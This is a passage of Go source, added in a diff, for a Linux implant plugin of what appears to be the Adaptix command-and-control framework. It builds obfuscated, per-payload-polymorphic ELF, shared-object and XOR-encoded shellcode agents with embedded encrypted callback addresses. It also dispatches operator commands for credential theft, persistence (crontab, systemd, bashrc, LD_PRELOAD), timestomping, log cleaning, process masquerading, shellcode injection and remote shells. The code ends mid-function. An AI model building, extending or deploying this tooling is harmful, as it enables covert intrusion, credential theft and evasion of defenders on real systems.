adaptix.TaskData { + var packData []byte + addr := fmt.Sprintf("%s:%d", address, port) + packerData, _ := msgpack.Marshal(ParamsTunnelStart{Proto: "udp", ChannelId: channelId, Address: addr}) + cmd := Command{Code: COMMAND_TUNNEL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + inner, _ := msgpack.Marshal(ParamsTunnelWrite{ChannelId: channelId, Data: data}) + cmd := Command{Code: COMMAND_TUNNEL_WRITE, Data: inner} + packData, _ := msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelStop{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + return makeProxyTask(packData) +} + +func TunnelMessagePause(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelPause{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_PAUSE, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TunnelMessageResume(channelId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTunnelResume{ChannelId: channelId}) + cmd := Command{Code: COMMAND_TUNNEL_RESUME, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +/// TERMINAL + +func (ext *ExtenderAgent) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStart{TermId: terminalId, Program: program, Height: sizeH, Width: sizeW}) + cmd := Command{Code: COMMAND_TERMINAL_START, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + return makeProxyTask(data) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + packerData, _ := msgpack.Marshal(ParamsTerminalStop{TermId: terminalId}) + cmd := Command{Code: COMMAND_TERMINAL_STOP, Data: packerData} + packData, _ = msgpack.Marshal(cmd) + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Format string `json:"format"` + Arch string `json:"arch"` + ReconnectTimeout string `json:"reconn_timeout"` + ReconnectCount int `json:"reconn_count"` + OpsecEnabled bool `json:"opsec_enabled"` +} + +var SrcPath = "src_macos" // Go fallback (unused for native C builds) + +func (p *PluginAgent) GenerateProfiles(profile adaptix.BuildProfile) ([][]byte, error) { + var agentProfiles [][]byte + + for _, transportProfile := range profile.ListenerProfiles { + + var listenerMap map[string]any + if err := json.Unmarshal(transportProfile.Profile, &listenerMap); err != nil { + return nil, err + } + + var ( + generateConfig GenerateConfig + profileData []byte + ) + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, err + } + + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) + if err != nil { + return nil, err + } + + listenerWatermark, err := strconv.ParseInt(transportProfile.Watermark, 16, 64) + if err != nil { + return nil, err + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + reconnectTimeout, err := parseDurationToSeconds(generateConfig.ReconnectTimeout) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "tcp": + + tcp_banner, _ := listenerMap["tcp_banner"].(string) + + servers, _ := listenerMap["callback_addresses"].(string) + + servers = strings.ReplaceAll(servers, " ", "") + servers = strings.ReplaceAll(servers, "\n", ",") + servers = strings.TrimSuffix(servers, ",") + addresses := strings.Split(servers, ",") + + var sslKey []byte + var sslCert []byte + var caCert []byte + Ssl, _ := listenerMap["ssl"].(bool) + if Ssl { + ssl_key, _ := listenerMap["client_key"].(string) + sslKey, err = base64.StdEncoding.DecodeString(ssl_key) + if err != nil { + return nil, err + } + + ssl_cert, _ := listenerMap["client_cert"].(string) + sslCert, err = base64.StdEncoding.DecodeString(ssl_cert) + if err != nil { + return nil, err + } + + ca_cert, _ := listenerMap["ca_cert"].(string) + caCert, err = base64.StdEncoding.DecodeString(ca_cert) + if err != nil { + return nil, err + } + } + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: addresses, + BannerSize: len(tcp_banner), + ConnTimeout: reconnectTimeout, + ConnCount: generateConfig.ReconnectCount, + UseSSL: Ssl, + SslCert: sslCert, + SslKey: sslKey, + CaCert: caCert, + } + profileData, _ = msgpack.Marshal(profile) + + case "bind_tcp": + port, _ := listenerMap["port_bind"].(float64) + + profile := Profile{ + Type: uint(agentWatermark), + ListenerWatermark: uint(listenerWatermark), + Addresses: []string{}, + BannerSize: 0, + ConnTimeout: 0, + ConnCount: 0, + BindPort: int(port), + } + profileData, _ = msgpack.Marshal(profile) + + default: + return nil, errors.New("protocol unknown") + } + + extHandler := ExtenderAgent{} + profileData, _ = extHandler.Encrypt(profileData, encryptKey) + profileData = append(encryptKey, profileData...) + + profileString := "" + for _, b := range profileData { + profileString += fmt.Sprintf("\\x%02x", b) + } + agentProfiles = append(agentProfiles, []byte(profileString)) + } + return agentProfiles, nil +} + +/// Native C agent build constants + +var ( + NativeSrcDir = "src_agent/agent" + NativeObjFiles = []string{"crt", "msgpack", "crypt", "connector", "agent_info", "commander", "tasks_fs", "tasks_proc", "tasks_linux", "tasks_opsec", "jobs", "tasks_async", "tasks_net", "proxyfire", "elf_resolve", "opsec", "pivot", "tasks_pivot", "ax_vsnprintf", "bof_api", "elf_bof"} +) + +// Compiler selection based on architecture +func nativeCompiler(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "aarch64-linux-gnu-gcc" + } + return "musl-gcc" +} + +func nativeCFlags(arch string) string { + base := "-std=gnu11 -Os -fno-stack-protector -fno-builtin -fno-unwind-tables -fno-asynchronous-unwind-tables -fno-ident -Wall -Wextra -Wno-unused-parameter -Wno-unused-function" + if arch == "aarch64" || arch == "arm64" { + return base + " -DARCH_AARCH64" + } + return base + " -DARCH_X86_64" +} + +func nativeLFlags(arch string) string { + if arch == "aarch64" || arch == "arm64" { + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" + } + return "-static -nostdlib -nodefaultlibs -s -Wl,--build-id=none" +} + +func (p *PluginAgent) BuildPayload(profile adaptix.BuildProfile, agentProfiles [][]byte) ([]byte, string, error) { + var generateConfig GenerateConfig + + err := json.Unmarshal([]byte(profile.AgentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-linux-*") + if err != nil { + return nil, "", err + } + + arch := generateConfig.Arch + if arch == "" { + arch = "x86_64" + } + + switch generateConfig.Format { + case "Binary ELF (Native)": + return p.buildNativeELF(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shared Object (Native)": + return p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, arch) + case "Shellcode x86_64 (Native)": + return p.buildNativeShellcodeX64(profile, agentProfiles, generateConfig, currentDir, tempDir) + case "Shellcode ARM64 (Native)": + return p.buildNativeShellcodeARM64(profile, agentProfiles, generateConfig, currentDir, tempDir) + default: + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("unknown format: %s", generateConfig.Format) + } +} + +// buildNativeELF — Static ELF binary (no dynamic dependencies) +func (p *PluginAgent) buildNativeELF(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) { + Filename := "agent_native.elf" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, ELF static)", arch)) + + srcDir := NativeSrcDir + + // Step 1: Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Config: %d profile(s) embedded", len(agentProfiles))) + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x (per-payload polymorphism)", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "XOR string obfuscation generated (per-payload key)") + + // Step 2: Compile + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled successfully") + + // Step 3: Link + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + lFlags := nativeLFlags(arch) + linkCmd := fmt.Sprintf("%s %s -o %s %s", compiler, lFlags, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link: %w", err) + } + + // Step 4: Read output + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native ELF %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeSO — Shared Object (dlopen-loadable) +func (p *PluginAgent) buildNativeSO(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string, arch string) ([]byte, string, error) { + Filename := "agent_native.so" + buildPath := tempDir + "/" + Filename + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Target: linux/%s (Native C, SO)", arch)) + + srcDir := NativeSrcDir + + // Generate per-payload headers + configContent := generateNativeConfig(agentProfiles) + if err := os.WriteFile(tempDir+"/config.h", []byte(configContent), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write config.h: %w", err) + } + + djb2Seed := cryptoRandUint32() + if err := os.WriteFile(tempDir+"/ApiDefines.h", []byte(generateLinuxApiDefines(djb2Seed)), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write ApiDefines.h: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("DJB2 seed: 0x%08x", djb2Seed)) + + if err := os.WriteFile(tempDir+"/strings_obf.h", []byte(generateObfStrings()), 0644); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("write strings_obf.h: %w", err) + } + + // Compile with -fPIC -DBUILD_SO + compiler := nativeCompiler(arch) + cFlags := fmt.Sprintf("%s -fPIC -DBUILD_SO -I %s -I %s -DDJB2_SEED=%dU", nativeCFlags(arch), tempDir, srcDir, djb2Seed) + if generateConfig.OpsecEnabled { + cFlags += " -DOPSEC_ENABLED" + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Compiling native agent sources (SO mode, per-payload)...") + + compileSrc := func(srcFile string, outputName string) error { + outPath := tempDir + "/" + outputName + ".o" + cmdStr := fmt.Sprintf("%s %s -c %s -o %s", compiler, cFlags, srcFile, outPath) + return Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", cmdStr) + } + + for _, ofile := range NativeObjFiles { + if err := compileSrc(srcDir+"/"+ofile+".c", ofile); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile %s: %w", ofile, err) + } + } + if err := compileSrc(srcDir+"/main.c", "main"); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("compile main: %w", err) + } + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, "All sources compiled (SO mode)") + + // Link as shared object + var objectFiles []string + for _, ofile := range NativeObjFiles { + objectFiles = append(objectFiles, tempDir+"/"+ofile+".o") + } + objectFiles = append(objectFiles, tempDir+"/main.o") + + linkCmd := fmt.Sprintf("%s -shared -nostdlib -nodefaultlibs -s -Wl,--build-id=none -o %s %s", compiler, buildPath, strings.Join(objectFiles, " ")) + if err := Ts.TsAgentBuildExecute(profile.BuilderId, currentDir, "sh", "-c", linkCmd); err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("link SO: %w", err) + } + + Payload, err := os.ReadFile(buildPath) + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", err + } + _ = os.RemoveAll(tempDir) + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("Payload size: %d bytes (native SO %s)", len(Payload), arch)) + + return Payload, Filename, nil +} + +// buildNativeShellcodeX64 — SO + XOR encoder with x86_64 decoder stub +func (p *PluginAgent) buildNativeShellcodeX64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.x64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/x86_64 (Shellcode, Native C)") + + // Build SO first + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "x86_64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeX64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode x64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// buildNativeShellcodeARM64 — SO + XOR encoder with ARM64 decoder stub +func (p *PluginAgent) buildNativeShellcodeARM64(profile adaptix.BuildProfile, agentProfiles [][]byte, generateConfig GenerateConfig, currentDir string, tempDir string) ([]byte, string, error) { + Filename := "agent_shellcode.arm64.bin" + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, "Target: linux/aarch64 (Shellcode ARM64, Native C)") + + // Build SO first (ARM64) + soPayload, _, err := p.buildNativeSO(profile, agentProfiles, generateConfig, currentDir, tempDir, "aarch64") + if err != nil { + return nil, "", err + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_INFO, fmt.Sprintf("SO size: %d bytes, encoding with XOR...", len(soPayload))) + + shellcode, err := xorEncodeShellcodeARM64(soPayload) + if err != nil { + return nil, "", fmt.Errorf("xor encode arm64: %w", err) + } + + _ = Ts.TsAgentBuildLog(profile.BuilderId, adaptix.BUILD_LOG_SUCCESS, fmt.Sprintf("Shellcode size: %d bytes (SO %d + stub)", len(shellcode), len(soPayload))) + + return shellcode, Filename, nil +} + +// parseEscapedBytes converts "\x01\x02\xff" to raw bytes +func parseEscapedBytes(escaped []byte) []byte { + s := string(escaped) + var result []byte + for i := 0; i < len(s); { + if i+3 < len(s) && s[i] == '\\' && s[i+1] == 'x' { + b, err := strconv.ParseUint(s[i+2:i+4], 16, 8) + if err == nil { + result = append(result, byte(b)) + i += 4 + continue + } + } + result = append(result, s[i]) + i++ + } + return result +} + +// generateNativeConfig creates config.h with encrypted profiles as C byte arrays +func generateNativeConfig(agentProfiles [][]byte) string { + var sb strings.Builder + sb.WriteString("// Auto-generated — per-payload config\n") + sb.WriteString("// Do not edit. Regenerated on each build.\n") + sb.WriteString("#ifndef CONFIG_H\n#define CONFIG_H\n\n") + sb.WriteString("#include \n\n") + sb.WriteString(fmt.Sprintf("#define PROFILE_COUNT %d\n\n", len(agentProfiles))) + + for i, escapedProf := range agentProfiles { + rawProf := parseEscapedBytes(escapedProf) + sb.WriteString(fmt.Sprintf("static const uint8_t enc_profile_%d[] = {\n ", i)) + for j := 0; j < len(rawProf); j++ { + if j > 0 && j%16 == 0 { + sb.WriteString("\n ") + } + sb.WriteString(fmt.Sprintf("0x%02x", rawProf[j])) + if j < len(rawProf)-1 { + sb.WriteString(", ") + } + } + sb.WriteString("\n};\n") + sb.WriteString(fmt.Sprintf("static const uint32_t enc_profile_%d_size = %d;\n\n", i, len(rawProf))) + } + + sb.WriteString("static const uint8_t* enc_profiles[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("static const uint32_t enc_profile_sizes[] = {\n") + for i := range agentProfiles { + sb.WriteString(fmt.Sprintf(" enc_profile_%d_size,\n", i)) + } + sb.WriteString("};\n\n") + + sb.WriteString("#endif // CONFIG_H\n") + return sb.String() +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.ExtenderAgent, error) { + var agentData adaptix.AgentData + + var sessionInfo SessionInfo + err := msgpack.Unmarshal(beat, &sessionInfo) + if err != nil { + return adaptix.AgentData{}, nil, err + } + + agentData.ACP = int(sessionInfo.Acp) + agentData.OemCP = int(sessionInfo.Oem) + agentData.Pid = fmt.Sprintf("%v", sessionInfo.PID) + agentData.Tid = "" + agentData.Elevated = sessionInfo.Elevated + agentData.InternalIP = sessionInfo.Ipaddr + + if sessionInfo.Os == "linux" { + agentData.Os = adaptix.OS_LINUX + agentData.OsDesc = sessionInfo.OSVersion + // Determine arch from OS version string or default + agentData.Arch = "x86_64" + if strings.Contains(sessionInfo.OSVersion, "aarch64") || strings.Contains(sessionInfo.OSVersion, "arm64") { + agentData.Arch = "arm64" + } + } else { + agentData.Os = adaptix.OS_UNKNOWN + return agentData, nil, errors.New("linux agent received non-linux OS") + } + + agentData.SessionKey = sessionInfo.EncryptKey + agentData.Domain = "" + agentData.Computer = sessionInfo.Host + agentData.Username = sessionInfo.User + agentData.Process = sessionInfo.Process + + agentData.Sleep = 0 + agentData.Jitter = 0 + + return agentData, &ExtenderAgent{}, nil +} + +/// AGENT HANDLER + +func (ext *ExtenderAgent) Encrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonce := make([]byte, gcm.NonceSize()) + _, err = io.ReadFull(rand.Reader, nonce) + if err != nil { + return nil, err + } + ciphertext := gcm.Seal(nonce, nonce, data, nil) + + return ciphertext, nil +} + +func (ext *ExtenderAgent) Decrypt(data []byte, key []byte) ([]byte, error) { + block, err := aes.NewCipher(key) + if err != nil { + return nil, err + } + + gcm, err := cipher.NewGCM(block) + if err != nil { + return nil, err + } + + nonceSize := gcm.NonceSize() + if len(data) < nonceSize { + return nil, fmt.Errorf("ciphertext too short") + } + + nonce, ciphertext := data[:nonceSize], data[nonceSize:] + + plaintext, err := gcm.Open(nil, nonce, ciphertext, nil) + if err != nil { + return nil, err + } + + return plaintext, nil +} + +func (ext *ExtenderAgent) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + var packData []byte + + var objects [][]byte + var command Command + + for _, taskData := range tasks { + taskId, err := strconv.ParseUint(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + + _ = msgpack.Unmarshal(taskData.Data, &command) + command.Id = uint(taskId) + + cmd, _ := msgpack.Marshal(command) + + objects = append(objects, cmd) + } + + message := Message{ + Type: 1, + Object: objects, + } + + packData, _ = msgpack.Marshal(message) + + return packData, nil +} + +func (ext *ExtenderAgent) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + id, _ := strconv.ParseUint(pivotId, 16, 64) + + // Build Command{code: PIVOT_EXEC, data: {pivot_id, data}} + innerData, _ := msgpack.Marshal(ParamsPivotExec{ + PivotId: uint32(id), + Data: data, + }) + cmd := Command{ + Code: COMMAND_PIVOT_EXEC, + Data: innerData, + } + packData, _ := msgpack.Marshal(cmd) + + taskData := adaptix.TaskData{ + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), + Type: adaptix.TASK_TYPE_PROXY_DATA, + Data: packData, + Sync: false, + } + + return taskData, nil +} + +func (ext *ExtenderAgent) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: adaptix.TASK_TYPE_TASK, + Sync: true, + } + + messageData = adaptix.ConsoleMessageData{ + Status: adaptix.MESSAGE_INFO, + Text: "", + } + messageData.Message, _ = args["message"].(string) + + var cmd Command + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCat{Path: path}) + cmd = Command{Code: COMMAND_CAT, Data: packerData} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCd{Path: path}) + cmd = Command{Code: COMMAND_CD, Data: packerData} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsCp{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_CP, Data: packerData} + + case "download": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + packerData, _ := msgpack.Marshal(ParamsDownload{Path: path, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_DOWNLOAD, Data: packerData} + + case "exit": + cmd = Command{Code: COMMAND_EXIT, Data: nil} + + case "getuid": + cmd = Command{Code: COMMAND_GETUID, Data: nil} + + case "env": + cmd = Command{Code: COMMAND_ENV, Data: nil} + + case "netstat": + cmd = Command{Code: COMMAND_NETSTAT, Data: nil} + + case "mounts": + cmd = Command{Code: COMMAND_MOUNTS, Data: nil} + + case "edr": + cmd = Command{Code: COMMAND_EDR, Data: nil} + + case "creds": + credType, _ := getStringArg(args, "type") + if credType == "" { + credType = "all" + } + packerData, _ := msgpack.Marshal(ParamsCreds{Type: credType}) + cmd = Command{Code: COMMAND_CREDS, Data: packerData} + + case "persist": + params := ParamsPersist{Action: subcommand} + switch subcommand { + case "crontab": + params.Cmd, _ = getStringArg(args, "cmd") + params.Schedule, _ = getStringArg(args, "schedule") + case "systemd": + params.Name, _ = getStringArg(args, "name") + params.Cmd, _ = getStringArg(args, "cmd") + case "bashrc": + params.Cmd, _ = getStringArg(args, "cmd") + case "ldpreload": + params.Path, _ = getStringArg(args, "path") + case "remove": + params.Type, _ = getStringArg(args, "type") + params.Name, _ = getStringArg(args, "name") + case "status": + // no extra args + default: + err = errors.New("subcommand must be: crontab, systemd, bashrc, ldpreload, remove, status") + goto RET + } + packerData, _ := msgpack.Marshal(params) + cmd = Command{Code: COMMAND_PERSIST, Data: packerData} + + case "container": + action := subcommand + if action == "" { + action = "detect" + } + packerData, _ := msgpack.Marshal(ParamsContainer{Action: action}) + cmd = Command{Code: COMMAND_CONTAINER, Data: packerData} + + case "masquerade": + name, err := getStringArg(args, "name") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMasquerade{Name: name}) + cmd = Command{Code: COMMAND_MASQUERADE, Data: packerData} + + case "timestomp": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + timestamp := uint64(0) + if ts, ok := args["timestamp"].(float64); ok { + timestamp = uint64(ts) + } + packerData, _ := msgpack.Marshal(ParamsTimestomp{Path: path, Timestamp: timestamp}) + cmd = Command{Code: COMMAND_TIMESTOMP, Data: packerData} + + case "cleanlog": + cmd = Command{Code: COMMAND_CLEANLOG, Data: nil} + + case "inject": + pidF, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + scData, ok := args["shellcode"].([]byte) + if !ok { + // Try as base64 string + scStr, err2 := getStringArg(args, "shellcode") + if err2 != nil { + err = errors.New("missing 'shellcode' parameter") + goto RET + } + var err3 error + scData, err3 = base64.StdEncoding.DecodeString(scStr) + if err3 != nil { + err = fmt.Errorf("invalid base64 shellcode: %v", err3) + goto RET + } + } + packerData, _ := msgpack.Marshal(ParamsInject{Pid: int(pidF), Shellcode: scData}) + cmd = Command{Code: COMMAND_INJECT, Data: packerData} + + case "migrate": + cmd = Command{Code: COMMAND_MIGRATE, Data: nil} + + case "job": + if subcommand == "list" { + cmd = Command{Code: COMMAND_JOB_LIST, Data: nil} + + } else if subcommand == "kill" { + jobId, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsJobKill{Id: jobId}) + cmd = Command{Code: COMMAND_JOB_KILL, Data: packerData} + + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "kill": + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsKill{Pid: int(pid)}) + cmd = Command{Code: COMMAND_KILL, Data: packerData} + + case "ls": + dir, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsLs{Path: dir}) + cmd = Command{Code: COMMAND_LS, Data: packerData} + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMv{Src: src, Dst: dst}) + cmd = Command{Code: COMMAND_MV, Data: packerData} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsMkdir{Path: path}) + cmd = Command{Code: COMMAND_MKDIR, Data: packerData} + + case "ps": + cmd = Command{Code: COMMAND_PS, Data: nil} + + case "pwd": + cmd = Command{Code: COMMAND_PWD, Data: nil} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + packerData, _ := msgpack.Marshal(ParamsRm{Path: path}) + cmd = Command{Code: COMMAND_RM, Data: packerData} + + case "run": + taskData.Type = adaptix.TASK_TYPE_JOB + + prog, err := getStringArg(args, "program") + if err != nil { + goto RET + } + runArgs, _ := args["args"].(string) + + r := make([]byte, 4) + _, _ = rand.Read(r) + taskId := binary.BigEndian.Uint32(r) + + taskData.TaskId = fmt.Sprintf("%08x", taskId) + + cmdArgs, _ := shlex.Split(runArgs) + packerData, _ := msgpack.Marshal(ParamsRun{Program: prog, Args: cmdArgs, Task: taskData.TaskId}) + cmd = Command{Code: COMMAND_RUN, Data: packerData} + + case "shell": + cmdParam, err := getStringArg(args, "cmd") + if err != nil { + goto RET + } + + // Linux: use /bin/sh (most portable) + cmdArgs := []string{"-c", cmdParam} + packerData, _ := msgpack.Marshal(ParamsShell{Program: "/bin/sh", Args: cmdArgs}) + cmd = Command{Code: COMMAND_SHELL, Data: packerData} + + case "socks": + taskData.Type = adaptix.TASK_TYPE_TUNNEL + + portNumber, ok := args["port"].(float64) + port := int(portNumber) + if ok { + if port < 1 || port > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + } + if 